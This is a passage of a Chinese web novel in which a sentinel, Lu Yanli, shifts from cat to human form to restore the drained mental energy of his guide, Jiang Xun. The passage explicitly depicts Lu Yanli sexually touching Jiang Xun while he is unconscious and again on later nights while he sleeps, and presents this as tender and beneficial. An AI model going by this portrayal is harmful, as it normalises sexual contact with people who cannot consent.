这片区域外部，被一层厚实的暗色雾气笼罩着，像一个巨大的扣碗把内部的景色完全封锁在其中。这层雾气厚重又浓稠黯淡，把内部的光影完全遮挡住，只从缝隙中泄出一点闪动着的微弱光芒，像是内里有什么发光的东西在活动着。 江寻心念一动，想要靠近看看清楚，移动之间却有极大的阻力迎面而来，他越是靠近，阻力就越是巨大，前进到一定距离就完全动弹不得了。 不断有黑灰灰烬穿过那层雾气，从光影内部逸散出来。这些灰烬看着轻飘缓慢，却毫不受到任何外力的影响，一逸散出来就目标明确地向着上方飘飞过去。 江寻看着这些有些眼熟的灰烬想了想，心念一动，从自身光团中抽出一缕，往前摇摆着去触碰迎面飘来的灰烬。没想到，这些灰烬一触碰到这缕光须便悄无声息地崩碎再崩碎，在他眼前化为细碎的白色光尘。 点点光尘，一崩散开来，便受到吸引一般，反向飘了回去，被面前那片笼罩着厚重雾气的光影吞噬了进去。 见此情形，江寻脑子里升起明悟。 他再次屏气凝神，挥舞出更多的光须去触碰更多的灰烬。 被这些光须触碰到的灰烬，开始大片大片地成规模崩散，化为星星点点的莹莹光尘，被面前的灰雾反向吸收了进去。 随着他的动作，整片安静的混沌空间像是吹起了一阵涟漪，被搅动起来，死寂的空虚中，生出了一点生气。 江寻重复着动作，直到周身的光团失去了活性一般渐渐黯淡下来，让他再也挥舞不动，身后传来隐隐的拉扯力。 而面前那片被浓重雾气包裹着的光影，也在吸收了众多光尘之后，更加明亮了一分。 * 一阵恍惚过后，江寻的意识从高处猛然摔落下来，一声闷哼，手脚重新有了重量。 体内空荡荡一片，一点饥渴感从身体最深处凭空生出，而后迅猛放大，开始从内向外撕扯起来。这股力量在身体中挤压着掠夺着，试图搜刮出一点什么，好去填充空虚的内里。 江寻浑身的血肉都被这股力量索取拉扯着，开始一下一下抽痛起来。 他试图睁开眼睛，却好像连撑起眼皮的力量都失去了，身子一歪就栽倒了下去。 头痛得厉害，五感都混乱了起来，视野颠倒错乱，稍动一动就晕得想吐。 江寻动弹不得地瘫软下来，扶着脑袋缓了良久，才有力气睁眼抬头。这时，已经汗流浃背，满面苍白了。 陆厌离的意识在江寻成功建立起链接时，便随着他一同在精神世界中甦醒了过来。 与江寻不同，作为精神图景的主人，他直接在图景的中心睁开了眼睛。 视线过处，仍然是那个昏暗的小小阁楼，但此时，这里干干净净，和煦温暖。他的身下是暖和鼓囊的软垫，耳边有悠长的铃声规律地响起，身前一颗发着光的铃铛始终维持着稳定的光芒，照亮这处阁楼的每个角落。 这些蕴含着特殊意义的物件，只是存在便让陆厌离的精神舒缓了下来。他依恋地在软垫上打了个滚，这才施施然地站起身来，爬上高窗，向着外面看去。 窗外的庄园与丛林，依然被熊熊烈火笼罩着，但此时的火焰已经不比之前那样汹涌澎湃，充满毁灭的意味。 如今的火焰更像是燃过了高点之后的余焰，再也没了以往那般不可抵挡的感觉。 缭绕的灰烬仍然簌簌升腾着，被精神图景排斥泼散出去，但速度却慢了许多。 这一切的变化都是江寻带来的，而现在，他已经能够感受到，那个熟悉的气息已经来到了他的精神图景外不远处。 陆厌离向着那个气息打开了心防，卸下了所有武装，将那个人牵引着向着自己靠近，直到来到了精神图景外的屏障处，才停下了脚步。 以他们两个如今的情况，这样就已经是最近的距离了。 陆厌离趴在窗口，高高扬起脑袋，视线直直看向天边的那道气息。 那道气息在原地停顿了一会儿，不知他做了什么，远方的云雾忽然被拨散了开来，一道又一道被净化后的纯净精神力，化为点点光尘，从天外洋洋洒洒地飘落下来。 那片天空迅速变得澄净而透明，被飘扬下来的光尘接触到的地面，开始慢慢甦醒散发出生机。 陆厌离脑中一清，被他始终束缚压制着的污浊精神力骤然减去了一分，担在肩上快要压迫到极致的压力，一下子松泛了下来，浑身舒服得喟叹出声。 陆厌离第一次被向导净化缭绕在精神世界里的精神尘埃，他没想到只是一个低级新手向导用出来的C级疏导技能，作用居然会如此明显。也许与他们之间的高匹配度有关？ 这一次的浅层疏导，效果抵得上一周的接触疏导，时隔许久，他控制下的纯净精神力终于得到了正增长。 遥远的天外，那个熟悉的气息仍然停留在那里。 源源不断的光尘从空中不停飘落下来。 开始时，陆厌离心里还溢满了轻松喜悦，可随着时间的推移，他的眉头渐渐皱了起来。 怎么还在持续？这个净化程度，早就超过他的能力范畴了吧？ 担忧刚刚升起，感应中，那道熟悉的气息便瞬间消失了踪影。空中的光尘失去了后援，在最后一点光芒消散之后，层云重新遮蔽了起来，天空再次恢复了灰茫茫的颜色。 陆厌离的意识刚刚回返，睁开眼睛，便看到紧贴在自己额头上的面庞倏然下滑，跌落了下去。 陆厌离一惊，身体比意识反应更快地先一步伏低，撑在了男人身后。 男人无声无息地歪倒下来，头颅无力地后仰摇摆，陆厌离忙抬起脑袋，顶住了对方摇晃的头颅，让他慢慢躺倒在了自己身上。 男人面色已然一片惨白，额头涔涔滚落汗水，眼睛紧紧闭着，能看到眼珠在里面不安地旋转着。嘴唇张合，一点混乱呓语飘过陆厌离耳畔。 见此情形，陆厌离心中大急，他的精神力消耗再次严重超支，已经出现中度匮乏的症状了！ 陆厌离竭力扭过脑袋，不住在江寻脸侧摩擦，试图叫醒男人，江寻却表现得毫无所觉，只是抓着额头不断痛苦呻|吟着。 一人一猫维持着这个姿势躺了良久，江寻才睫毛颤动，再次睁开了眼睛。 这一次，他连安慰的话也说不出口了，只是撑起胳膊从地上坐起身来便教他气喘吁吁。眼前忽明忽暗，忽远忽近，五感一下子失去了判断。想说一句话，张开嘴，喉咙里却只剩下赫赫喘气声。 江寻肩膀顶住沙发，艰难地挪着，把自身的重量转移到沙发上，让猫猫脱开身来。 重新获得自由的猫猫，一站起身来便腾跃而去。不一会儿，嘴里叼着一袋药剂回返回来，把它匆匆放在了江寻手心。 江寻现在眼花的要命，根本看不清手中拿着的是什么药。但他对小树有着十足的信任，直接撕开开口，就把一整袋药剂灌了下去。 喝了药，又靠在沙发上休息了好一会儿，江寻这才积蓄起力气站起身来。 也顾不上知会其他，一屁股坐上沙发就再次躺倒了下来。下一刻，药性上涌，眼睛一闭，便彻底昏睡了过去。 陆厌离眼见着江寻醒过来还没几分钟又再次昏睡了过去，忙扒上沙发急急地唤他。 可此时的男人已经彻底失去了意识，面色越发惨白下去，冷汗不住从额头上滑落下来，体温也开始急速降低。 陆厌离再也无法等待，狠下心来一声低吼，身体猛然化为灰雾崩散开来，一蓬无形烈焰从他体内凶猛炸开。 久未释放的精神力哗然奔腾而出，堂皇而汹涌，吹得这股烈焰越烧越旺，瞬息之间便充溢了整个房间。 烈焰中心，颜色越来越深，渐渐凝聚出一个黑影。 下一瞬，数道火焰缭绕成柱突破而出，火柱中心猛然一震，黑灰火焰在这一震之下迅速消弭，现出其中一只苍白的瘦削手臂—— 作者有话说：来啦来啦！帅猫猫变身！[星星眼] 第55章 充斥大厅的烈焰， 随着苍白手臂的出现猛地一窒，下一刻如时间倒流般倒卷回来，焰流缠绕在焰心朦胧的黑影之上， 黑色的身影渐渐凝聚成形。 随着最后一缕焰光消失于无形， 一缕被火焰烘托起来的灰色发丝轻轻荡了下来， 打在男人棱角分明的颊边。 一具苍白清瘦的赤|裸身影，踏前一步，从烈焰之中孕育而生。 男人现出身形的第一时间， 就踏前一步， 想要靠近躺在沙发上的江寻。可长久没有使用过人形，一时忘记了发力方式。他习惯性地以猫咪行动的方式一动，却脚下一乱失去了重心，冲着江寻就倒了下去，直直砸在他的身上。 温热的布料摩擦在男人赤|裸的皮肤上，久未现世的皮肤敏感至极， 被男人胸前的扣子一划就拉出了一道红印。两人上身相触发出一声清晰的“啪叽”声， 江寻被砸得闷哼一声喘出一口热气， 直直喷在男人颈侧。男人颈侧的皮肤马上竖起一片鸡皮疙瘩，红似晚霞。 陆厌离瞬间面红耳赤起来， 手忙脚乱地快速从江寻身上爬了起来，捂着脸颊慌忙去看江寻。 还好， 男人仍处于昏睡状态中，毫无所觉。陆厌离这才控制着身体跪坐下来， 双臂搭在沙发边缘，再次凑近。 江寻对于发生在自己身边的事一无所知，呼吸沉沉冷汗潺潺。 陆厌离顾不上去想其他，第一时间回忆起以前听到过的补偿方法。 抚摸按摩？不行， 他现在已经失去了神志，这种简单的方式只能获得轻微的精神补偿，对他现在来说完全不够。那……陆厌离迟疑想到，亲吻？不行不行，我现在是本体人形，体|液中的毒素比幼生体强得多，他如今体内空空如也，根本没有足够的精神力去抵抗我唾液中的毒素。还有什么…… 陆厌离咬着嘴唇拧着眉头，从记忆里搜刮着信息，越想脸越红。 该死，为什么他们给我讲过的补偿方式一个比一个离谱，就没有什么正常的方式吗？ 陆厌离此刻深恨自己当初在塔里没有好好学习关于这方面的知识，结果现在急用时，却只能想起那些老兵油子给自己讲过的荤话。 再想想，再想想！ 陆厌离努力摒弃杂念，为现在的状况思考对策。 最好不要让他在这种时候接触到自己的体|液，接触的面积也是越小越好，还要具有强烈的愉悦感，获得足够的精神补偿，以快速恢复他的精神力…… 陆厌离想着想着，眼神不由自主顺着江寻的身体慢慢下滑，直至腰间。 眼神往鼓起的地方瞄了一眼又快速滑开，五指无措地微微张合。 脑中浮起的大胆想法让他整张脸都烫了起来，心跳也渐渐加快震颤着耳膜。 忽地打了个哆嗦，陆厌离紧紧并拢住双腿，抬起身子又往江寻头部方向挪了挪，脑袋低垂下去，埋进了团起抱紧的手臂，只露出个通红的耳朵。 顶级哨兵的感官太敏感了，他又久未使用人形，身体控制力下降了许多。这会儿还没动作起来，亦没下定决心，只是有了一个想法，身体就先一步有了反应。 犹豫了半天，又看了看江寻难受得蹙紧的眉头，陆厌离终于说服了自己，咬着唇向着男人腰间伸出了手去。 金属搭扣碰撞的细微声音响起，陆厌离手指有点抖，脑袋始终埋在另一只胳膊下面不敢抬起，紧咬住嘴唇，只凭借触觉用一只手解得磕磕绊绊。 好容易打开了大门，手指点在最后一层遮挡物边缘又停顿了下来。 犹豫了半天，这才鼓起勇气，小指一勾整只手钻了进去。 陆厌离生疏地动着手指，没有章法地上下滑动，他十九岁就加入了愈灵殿的休眠计划，此后大部分时间里都在沉睡，醒着时也处于任务之中。 十九岁之前，一直在塔中接受严格的训练，成长过程中根本没有机会接触到这些事，连自己动手的次数都非常少，更不要说是触碰别人的东西了。 他眼睛根本不敢往下面看，也不敢去看江寻的表情，脑袋大幅度地扭向一边，竭力屏蔽着耳边渐渐响起的水声，合起的双腿忍不住交错摩挲了一下，又紧紧并拢。 手心接触到的东西烫得惊人，撑起来以后挤得周围的布料都紧绷了起来，让他的手指越发难以活动。 手上的温度好像能传导一般，顺着他的胳膊一路向上，渐渐引燃了整个身体。陆厌离只觉得脑子都被烧得无法思考，眼眶浸润，呼吸间都往外喷着热气，苍白的肌肤上浮起一层漂亮的玫瑰色。 也不知是男人天赋异禀还是处于昏睡状态，感觉迟滞，陆厌离努力了好久，手腕都酸软了起来，才终于感觉手心一热，一阵糯湿。 同一时刻，陆厌离猛地闭上了眼睛，咬紧嘴唇，吞下一声低吟，紧紧并起的大腿剧烈颤抖了一下，一点水迹顺着双腿之间的缝隙滑落下来，在地板上洇成一小团。 * 头痛欲裂，血肉间仿佛长出了无数小手在撕扯，江寻昏昏沉沉地冒出一头冷汗，一躺下来就沉入了深眠之中。 干涸的精神海挤压着每一个细胞，企图榨出点什么滋润它欲裂的海床。随着时间自然恢复的精神力，对于偌大一片精神海来说，如同杯水车薪。 这段时间以来快速扩张的精神海，在此时反而成为了沉重的负担。严重匮乏的精神力，让他的整个精神海都激烈震颤了起来，好像随时会崩碎开来。 江寻的意识迷蒙混沌失去了清明，只觉得情绪疲惫低落至极，整个人被灰暗的情绪填满，只想就这么永远沉睡下去再不复醒。 关键时刻，却有一股强烈的愉悦感凭空出现，一下子闯入了灰暗的世界。 江寻沉郁的意识在这股愉悦感出现的瞬间剧烈跳动一下，一下子甦醒过来。 下一刻，连绵不断的快感如汹涌的浪潮，一波接着一波山呼海啸着奔涌而来。 巨大的浪头一峰高过一峰，凶猛地撞击在江寻的意识上，以压倒性的力量强势洗净积聚在其中的沉冗，让江寻的意识重新变得轻灵飘逸起来。 这些浪潮洗净了冗杂还不足够，裹挟着江寻的意识继续在体内来回奔涌。 浪潮所过之处，被强烈的愉悦感尽数激活起来，江寻全身自然地放松下来，在这股突如其来的汹涌快感之中冲上高点。 随着意识的放松，丝丝新的精神力从大脑皮层中自然而然孕育出来，随后快速随着浪潮一起奔涌向前。 虚幻的精神力化为真实的能量，一点点流入江寻周身干涸经脉，被快速奔涌着的浪潮裹挟着呼啸来去。在这股生生不息的力量作用下，更多的能量被引导着牵引着，从每一个细胞里孕育出来。 这个过程伴随着连绵不绝的快感不断地重复再重复，直到干涸的精神海重新充盈了起来仍源源不绝。 于是，江寻的精神海在充溢能量的支持下，凶猛地拍打着界限，再次快速扩张开来，直至一股绝顶的愉悦感冲上颅顶。江寻浑身一阵震颤，无意识地溢出一声长长的叹息，海上风浪渐息再次平静了下来，江寻这才带着笑意，怀抱着满满的餍足，重新陷入了安眠。 时间滴答流淌，屋外的日光渐渐西斜，斜刺进来的日光落在江寻眼帘上。他的眼珠滚动一下，舒服地低吟一声，伸长胳膊，打了个大大的哈欠。 一条薄被随着他的动作滑落下来，露出缩在里面的一团毛茸茸。 江寻被这团重量压着，懒腰伸到一半被迫停了下来，又落下了腰身。 一番动作下来，腰上压着的那一团却毫无动静，显见是累到了，也不知做了什么。 江寻此刻却是前所未有的感觉良好，不仅精神充沛思维活跃，连体内消耗殆尽的能量也再次充盈了起来。 怎么回事？ 江寻快速回忆起昏睡过去之前的情景，马上锁定了原因。 和那个灰蒙蒙的空间有关系？还是那些看着眼熟的黑灰灰烬？ 此时清醒过来，再回忆起那时的情形，江寻才猛然想起了那种熟悉感从何而来。 那些碰到自己之后就变成光尘的灰烬，不就是自己最开始觉醒时，在那个奇怪的空间里看到过的吗？ 那到底是个什么地方？精神空间？这次的景象怎么和上回不一样？自己明明是被小树拉进去的，它那时又在哪里？自己凭本能做出的应对对不对？那些留下的光尘又是什么？ 江寻的脑子里一个接一个地冒出问题，可惜此时却没有人能够为他解惑。 暗暗在心里记下这些问题，江寻也不急。这才是他第一次成功的主动进入那个地方，有问题是正常的。只要大方向是正确的，相信在以后的练习中，现在的绝大多数问题，他都能够找得到答案。 江寻想着这些问题，再次细细地感受一番体内如今的状况，惊奇地发现，原来不仅是能量重新充盈了起来，连能量池都扩大了一大圈！ 江寻被这意想不到的惊喜砸得乐出声来，终于惊醒了窝在他身上睡得正香的猫猫。 只见小树一睁开眼睛，便马上回头向着江寻看过来，一扭身子踩上江寻胸前，一双炯炯眼瞳，关切地上上下下打量着他。 直到确定他真的恢复了过来，这才松下了神情。 江寻乍然发现惊喜，正要搂过猫猫与他分享自己的发现，却见猫猫反常地身子一缩，从他手下绕出去跳下了地面，四爪翻腾着一下就跑没了踪影。 嗯？怎么了这是？ 江寻被猫猫的动作搞得丈二和尚摸不着头脑，起身追过去，猫猫已经不知道藏进了哪里，怎么喊也喊不出来了。 直到快要入睡时，江寻才在被窝里抓住了偷偷潜入进来的猫猫。 “这是怎么了？下午干嘛躲着我啊？”江寻卡住猫猫的前臂，眯起眼睛前后打量着它。 精神看起来很好，动作也挺敏捷，躲了一天都没让我找到。 江寻打量一圈，疑惑地看向猫猫。 他原本还以为是不是带他进入那个神奇的地方会给小树带来伤害，它怕自己担心所以才躲着他，现在看起来似乎又没什么问题。 那就奇怪了，那这不是好事吗？自己既能学会一个新技能，能量恢复的效率也更高了，能更快地给它治疗了。 江寻始终记得小树背后的那个人，要是能赶在他再次回来之前治好小树，那自己要留下小树才更有底气。 能力、利益永远是最有说服力的东西，江寻从没想过凭借求恳去争取自己想要的东西。 时间有限，遇到能大大提升自己能力的机会，他就绝不会放弃。 陆厌离躲了一天，还是没忍住跑了回来，却一下子就被江寻抓住，提到面前逼问。 可是他躲避的理由又怎么可能让江寻知道。 陆厌离听着江寻的问话，眼睛不由自主地向下滑动，又在意识到自己的动作以后马上瞥开。 已经过了一下午了，他的手上似乎还能感觉到那股黏腻与炙热，鼻尖似乎还能闻到那股石楠花的味道，一看到江寻便下意识想要躲开，明知道这样反而会让江寻更加注意到自己，却控制不住自己的情绪。 “带我进到那个地方，对你不好吗？” 江寻仍在追问。 陆厌离闻言，连忙摇了摇头。 怎么会不好？这么一次疏导，效果超群，直接让自己积攒够了变回人形所需的精神力。 “那就是好喽？那你为什么要躲？” 江寻更加疑惑了，前阵子猫猫还缠着自己主动要治疗，怎么今天反而缩回去了。 陆厌离脸红了红，庆幸如今的身体让对方看不出来自己的窘迫神情。想了想，对着江寻比划了一通。 江寻到底已经和猫猫一起生活了许久，没几下就明白了对方的意思。 “担心我使用能力过头吗？”江寻想了想今天的状况，这才明白了过来。忖度一番，再次问道：“能量用尽会对我产生伤害吗？” 陆厌离正想点头，忽然想到，现在的状况和一开始已经不同了。 他一开始不想让江寻每次都用尽精神力，是因为没有办法为他补偿，那样狂放的用法，他的精神力恢复速度跟不上消耗，长久下去精神匮乏只会越来越严重。可现在，他已经可以给他补偿了…… 想到补偿，陆厌离又一阵脸颊发烫。 江寻还在等待着回答，陆厌离犹豫片刻，还是诚实地摇了摇头。 江寻一见猫猫摇头，心下一松。这技能用起来，对他们双方都不会造成伤害，反而能大大提升治疗效率，熟练自己的能力。那还有什么好犹豫的？只是难受一点儿有什么关系？多练习练习，总会习惯的。 江寻丝毫没把这点儿瑕疵放在心上，要获得好处，哪有不用付出的？ 当即把小树往怀里一搂就上了床：“那有什么好担心的？我们多练习几次就不难受了。刚好今天的能量还没用完，来，我们再来一次。” 说着就不由分说地躺下摆好姿势，额头一低贴上了猫猫的头顶。 陆厌离根本没想到江寻动作会这么快，根本来不及反抗就被他的精神力不由分说地缠住。已经成功过一次的男人，根本不需要他再次引导，眼睛一闭就拽着他的意识再次沉入了精神世界。 安静的房间里，时钟滴滴答答地往前行走。 柔软的大床上，一人一猫姿势亲密地抱在一起，恬静地闭目休息着。看不见的空气中，两股一明一暗的精神力却活跃地彼此纠缠盘绕着。 奇怪的是，明明双方都在抵死纠缠，安宁静谧又细弱的那一方却稳稳地占据着上风，在狂躁阴霾而强大的另一方阵营中随意穿插来去。另一方不止毫无反抗的意思，反而在对方面前温顺地打开自己，任由对方动作。 时间流逝，细弱的那一方流动得越来越慢，渐渐平息下来，沉入了下方一人体内。而另一方体积再次变大了一些，雄赳赳气昂昂地盘旋一圈，同样缩小再缩小，在下方的猫咪眼睛睁开之时，彻底消失在了它的身体里。 陆厌离舒服地长舒一口气，情绪还沉浸在温柔地抚慰中难以自拔，跳跃的精神力在他的身体中轻灵流转，每转动一圈便将心头的烦郁削去一分。熟悉的气息流转在他鼻尖，无比的安全感让他不愿醒来。 身边的男人翻了个身，仰起面孔急促地喘息了几下。这动静终于把陆厌离彻底唤醒。 一眼看到江寻的样子，陆厌离赶忙倾身过去。 也许是刚刚得到过充足补偿的缘故，他的表情没有早上那般痛苦，只是不适地皱起了眉头，呼吸急促了一些。 不过，短时间内连续两次使用刚刚学会的向导技能，还每次都等到耗尽精神力才停下，对他的负担一定很大，还是需要再来一次补偿的。 陆厌离稍稍犹豫了一下，就下了决定。 看着男人紧闭着的眼睛，试探地呼唤了几声。 等了片刻，看男人对自己的呼唤毫无反应，这才放下心来，身子往旁边一滚，骤然拉长开来。 绯色的月光顺着窗帘的缝隙潜入，洒在背对着窗户跪坐着的人赤|裸的脊背上，摇曳出一片暧昧的暗影。 陆厌离身上总算养出些肉来，就是久不见光，看上去没什么血色，被光线一打，在昏暗的室内映照出一片白莹莹。 苍白的男人趴伏在软被上，像猫一样高高翘起屁股，无声无息地膝行几步，凑近了仰面沉睡的江寻。 男人仍然维持着躺下前的姿势，额上沁出一些细汗，呼吸间热气喷吐。 陆厌离伸出一根手指，把江寻鬓边洇湿的一缕头发拨开，凝视着他的面庞。 以这个视角看过去，他的脸小多了。 平直的眉毛正微微皱起，浓密的毛绺硬直而乌黑，根根耸立，让人一看便觉得这个人充满了活力。秀眼高鼻轮廓流畅而舒缓，正合了他的性格。 唇色有点发白，显见现在不太好受，星星点点的汗粒缀在额头脖颈上，被月光一照，闪出一片细碎的亮光。 陆厌离的手指顺着那缕头发慢慢往下滑，点在男人的锁骨上方，指腹一转揩起一点湿润。抬手置于鼻尖深深吸了一口，一点点属于男人的咸涩味道充溢鼻腔，他却只觉得好闻。 喉结上下滑动一下，着迷地启唇把那根手指深深吞咽了下去，舌头翻卷着裹缠上来，让置于其上的味蕾最大限度的包裹住手指，剧烈地吮吸让脸颊都凹陷了下去。 直到手指上所有的味道都被他统统吞咽了下去，指尖已经被舔舐得微微发白。 陆厌离仰起面孔，闭上眼睛压抑着声音剧烈喘息一声，这才慢慢拉回了神志。 他今晚还有正事要做，不能再放任自己沉迷下去了。 一下午时间，他也没闲着，苦思了良久，终于从脑海深处搜刮出一些久远的记忆。他也不知道他忆起的东西对不对，不过总比之前什么也想不起来，只能抓瞎好。 这会儿，江寻的状况也比上午那时好上许多，时间宽松下来，他也能一项一项尝试过去。 陆厌离把沾了唾液的手指仔细擦了擦，又交错着搓揉了一下双手，让手上皮肤热起来，这才及其缓慢地伸出手去，靠近了熟睡中的江寻。 眼睛紧盯着江寻的表情，柔软的指腹轻点在江寻的额心。 一触之后，手指马上悬停，仔细观察着江寻的面色，确定他毫无察觉，这才接着让手指落下。 这一次，陆厌离稍稍大胆了一些，指腹沿着江寻脸颊的轮廓轻轻拂过，从颊边到侧脸，到下颌，再到下巴。 指尖抵在下巴处停住了，陆厌离直直看着与自己的手指近在咫尺的嘴唇，手指一点一点，向上蠕动，临到终点却停了下来。喉咙上下滑动两下，倏地收回了手。 陆厌离的脑袋无力地歪垂下来，收回的手指被另一只手紧紧攥着探进嘴里，咬着嘴唇竭力不发出声音地喘息起来。 明明这补偿行为是为了让江寻产生愉悦感，他自己却先激动了起来。 再看一眼熟睡中的男人，刚才的动作像是丝毫也没触动到他。 陆厌离稍稍有些泄气，是动作太轻了，产生不了作用吗？他的眼睛在江寻身上游移起来，不一会儿，找到了新的目标，再次伸出了手去—— 作者有话说：叮~~~陆少将上线！[黄心]《 》 55-60 第56章 这次他选择的是江寻的手臂。 手臂外侧的敏感度较低， 他更敢使力一些。 陆厌离再次爬近一步，看了看江寻臂上箍着的袖口。他睡得有些歪，衣服被压得歪歪斜斜， 袖口受力之下， 在上臂勒出了一道勒痕， 微微发红。 陆厌离伸出一根手指，从袖口紧绷的缝隙中插了进去。男人微微鼓起的肱二头肌挤着他的手指，柔韧又有力， 充满了力量感。 陆厌离心思忽然飘远了一下， 突然想起了不久之前，自己的手指同样被这样紧紧挤住过，手心里忽然有点痒。 脸微微一红，陆厌离拉回了游离的思绪，手上轻轻使力，把压在男人身下的袖子拉出来一些， 让他能睡得更舒服点。 手指在对方上臂肌肉间的溪谷之中流连了一下， 顺着那条蜿蜒的罅隙， 慢慢下滑，落在了转折处的关节上。 敏锐地发现熟睡的人眉眼稍动了动， 他马上停下了手上的动作，紧盯着男人的面庞， 心跳得快了些，却没有急着收回手指。 男人很快舒展了眉头， 重新安静了下来。陆厌离这才平复了呼吸，再次指挥着手指慢慢滑落下去。 这次，他更加大胆了一些，随着下移， 逐次增加了接触的手指，直至整个手掌都轻轻覆盖在了男人的前臂上。 他把动作放得很轻，如羽毛般若即若离地触碰，用温热的掌心一寸一寸熨帖过男人微凉的手臂。来回摩挲几次，掌心下的皮肤便被他的温度烘热了，江寻似乎是察觉到舒服了，面色更加松弛下来，呼吸也绵长起来。 眼见着自己的动作终于有了些效果，陆厌离振奋起来，手指向下，继续向着江寻的手掌滑去。 指尖在桡骨尽头打了个转，五指轻柔地顺着皮肤滑下去，覆盖在江寻的手背上轻轻搭住。 陆厌离一直都知道江寻的手很大，平日里，他一只手就能把他的整个脑袋拢在里面。可他没想到，自己都变回人形了，他的手看上去还是那么大。 他的手腕都与江寻的腕线重合了，指尖却只能触到对方手指的第一个关节，手掌整个轮廓也比对方小了一大圈。两只手这么叠放着，竟显得他的手都小了一截。 江寻的手并不柔软细腻，而是宽厚有力的，有几个手指上，还覆着一层薄薄的茧，显然不是从小养尊处优养出来的。 但他的指甲始终修剪得整整齐齐，甲缝间干干净净，让人一看就会对这双手的主人生出好感来。 皮肤也是健康的小麦色，衬着陆厌离苍白的手指，泾渭分明。 陆厌离第一次以人的视角直观地看到两人手掌的区别，被这种反差所吸引，眼睛终于从江寻面上挪了过来。 他的手继续前伸，手指微微使力，插入江寻的指缝间，轻轻从手背拢住了他的手掌，手指缓缓在缝隙中滑动摩挲，直到感觉到江寻的手指都被他暖热，更加放松了下来，这才悄悄握了握他的手掌，又松了开来。 这么来回几次之后，江寻从手臂到指尖的皮肤都在不断的摩挲下热了起来，肌肉也松弛了下来。陆厌离手下不停，揉捏摆弄着江寻的手臂，忍不住再次抬头看向江寻的表情。 见他仍然处于熟睡之中，毫无察觉的样子，胆子更大了些。 抓住江寻的一只手掌轻轻抬起，把自己的另一只手也握了上去。双手一上一下把江寻的手掌夹在中间来回抚弄了半天，仍觉不足。 不知从何而生的渴望逼得他眼睛发红，双手也颤抖起来，陆厌离急促地喘息几声，终于克制不住，再次膝行一步，头深深地低下去，把自己的脸颊侧贴上对方的手掌。 肌肤相触的那一瞬，陆厌离深深拱起的脊背止不住地哆嗦起来，连带着身后高高耸起的白肉都在淡红的暧昧月光下晃动起来。 一声低吟从陆厌离喉间溢了出来，又被死死咬住的嘴唇封在口中变成了一声闷哼。 陆厌离轻托着江寻的手掌，脑袋用力，使劲把自己的脸挤进他的手心。这一刻，他好像已经等了很久很久，久到只是这么贴着不动，便能让他几欲流下泪来。 他不敢过多地移动江寻的手掌惊醒了他，只得把脖子尽力伸向前去，用自己的脸颊主动去磨蹭对方的手心。 略显粗糙的掌心，在他的皮肉上摩擦着，一层艳红的色泽随着动作晕染上了陆厌离的面颊。 过度的粗糙摩擦，让他脸上泛起一阵不明显的疼痛来，可这么一点儿疼痛，却反而让陆厌离的情绪更加高涨了起来。 他的心跳开始加速，喷吐之间，气息火热而急切，五感在疼痛的刺激下习惯性地自动放大，无数细小的信息被感官采集到，一股脑儿地涌入了他的脑海。 他看到了江寻虎口上一点点几乎已经与旁边的皮肤融为一体的伤疤，那是他咬出来的。他听到对方悠长而沉稳的心跳声，他曾经无数次被对方抱着紧贴在胸口，伴着这样的声音入眠。他闻到对方腕间汩汩流动的血液中，逸散出的一点点极其细微的苦艾味道，那是他独有的向导素味道，是这世上唯一的，能与自己彼此相融的向导素。 陆厌离感觉自己的病好像又开始发作了，不然他怎么会无法控制自己的身体呢？ 他艰难地扭动着身体，扭头再次向着江寻的手心里挤进去，直至让对方的大手完全覆盖住他的整个面孔。克制不住地用整个脸庞去摩擦、顶|弄、嗅闻，把自己的气息完完全全地蹭满江寻的整个手心。 过于激烈的动作，终于触动到了男人。 躺着的男人眉头动了动，似乎感觉到了手上的异动，那被抓着盖在陆厌离脸上的手掌微微合拢了一下，轻扣在了他的面庞上，指尖陷入皮肉里，捏出五个浅浅的小坑。 陆厌离的动作猛地停顿了下来。 下一秒，江寻手下一空，手掌摔落下去，打在了一片毛茸茸上。 这一下，彻底惊醒了男人。江寻眼睫一颤，迷迷糊糊地睁开眼睛，疑惑地四下张望。房中静悄悄的，毫无异样。 “喵呜~” 手下传来一声细弱的叫唤，江寻抬手一看，猫猫正窝在床边缘，被他的手掌正正压住，也不知它是怎么睡着睡着歪到了那里。 江寻打了个哈欠，伸手搂起猫猫往被窝里一塞一抱，囫囵在它头顶揉弄了两下，把它压进自己的颈窝，又侧过身睡了过去，浑然没发现因为精神力耗尽而产生的不适感，已经悄无声息的消失了。 一夜好眠，随着天边泛白，江寻伸了个懒腰，坐起身来。 猫猫被他的动静惊动，没像以往那样赖床，两眼一睁便一个翻身立了起来，往前几步，踩着江寻的大腿就爬了上去，一边喵呜喵呜地叫着，一边原地坐立下来，眼神炯炯地上下打量着江寻。 江寻刚睡醒，脑子还没转过弯来，一点儿也没看出猫猫的异样，顺手环住窝进他怀里的猫猫，在他脊背上耙拉了几下便起身带着它去洗漱。行动间一点儿也看不出昨日的病态。 一把凉水泼上面庞，江寻这才彻底清醒了过来。 想到昨天发生的事，静下心来，稍稍感应了一下身体内的能量。 嗯，昨晚上没有昨天下午恢复得多，不过也够他今天训练和给小树治疗了。 江寻有点疑惑，想从这两次不同的能量恢复过程中找出不同，确定这个恢复的效率究竟是由什么决定的。可思来想去，两次休息似乎也没有本质上的不同。 难道是因为昨天下午那次是第一次成功使出新技能来，是特例情况？ 样本太少，江寻一时判断不出来究竟。于是先把这个问题记了下来，完全不耽误时间地开始了今日份的学习训练。 之后几天里，江寻按照自己的计划，划分着能量，每天都赶在睡觉前把体内的能量用得干干净净。 在这样高频的训练下，他的能力进步神速，使用起几种技能来，更加醇熟起来。与小树练习新技能，从一开始的需要他的血液辅助，到最后，连额头相触也不需要了。 在他的努力下，陆厌离精神图景外部的尘埃也以肉眼可见的速度被层层净化。图景外部那层厚厚的浓雾，在他的努力下日渐稀薄了起来。 在这期间，陆厌离小心地隐蔽着自己的动作，每次只等江寻彻底耗尽精神力陷入深眠，才会在夜里偷偷变化回人形为他补偿。 这样的补偿规律，似乎给江寻带来了错觉，到了最后，他几乎不再正常睡眠，每晚都会特意耗尽所有的精神力，使自己昏睡过去。 这样的模式对陆厌离来说的确方便了许多，可江寻这样急迫的行为，却让陆厌离内心隐隐不安了起来。 他没有深入接触过其他的向导，可耳濡目染之下，也知道，联盟中正常的向导，几乎没有像江寻这样频繁透支自己的。就算是有自己专属的绑定哨兵，随时可以获得精神补偿的向导，也不会这样竭泽而渔般高频消耗自己。 记忆中，他只在联盟边境中听说过这样的事。但那种向导，往往是一些受控于他人，无法控制自身命运与自由的野生向导，他们最后的下场，也都不太好。 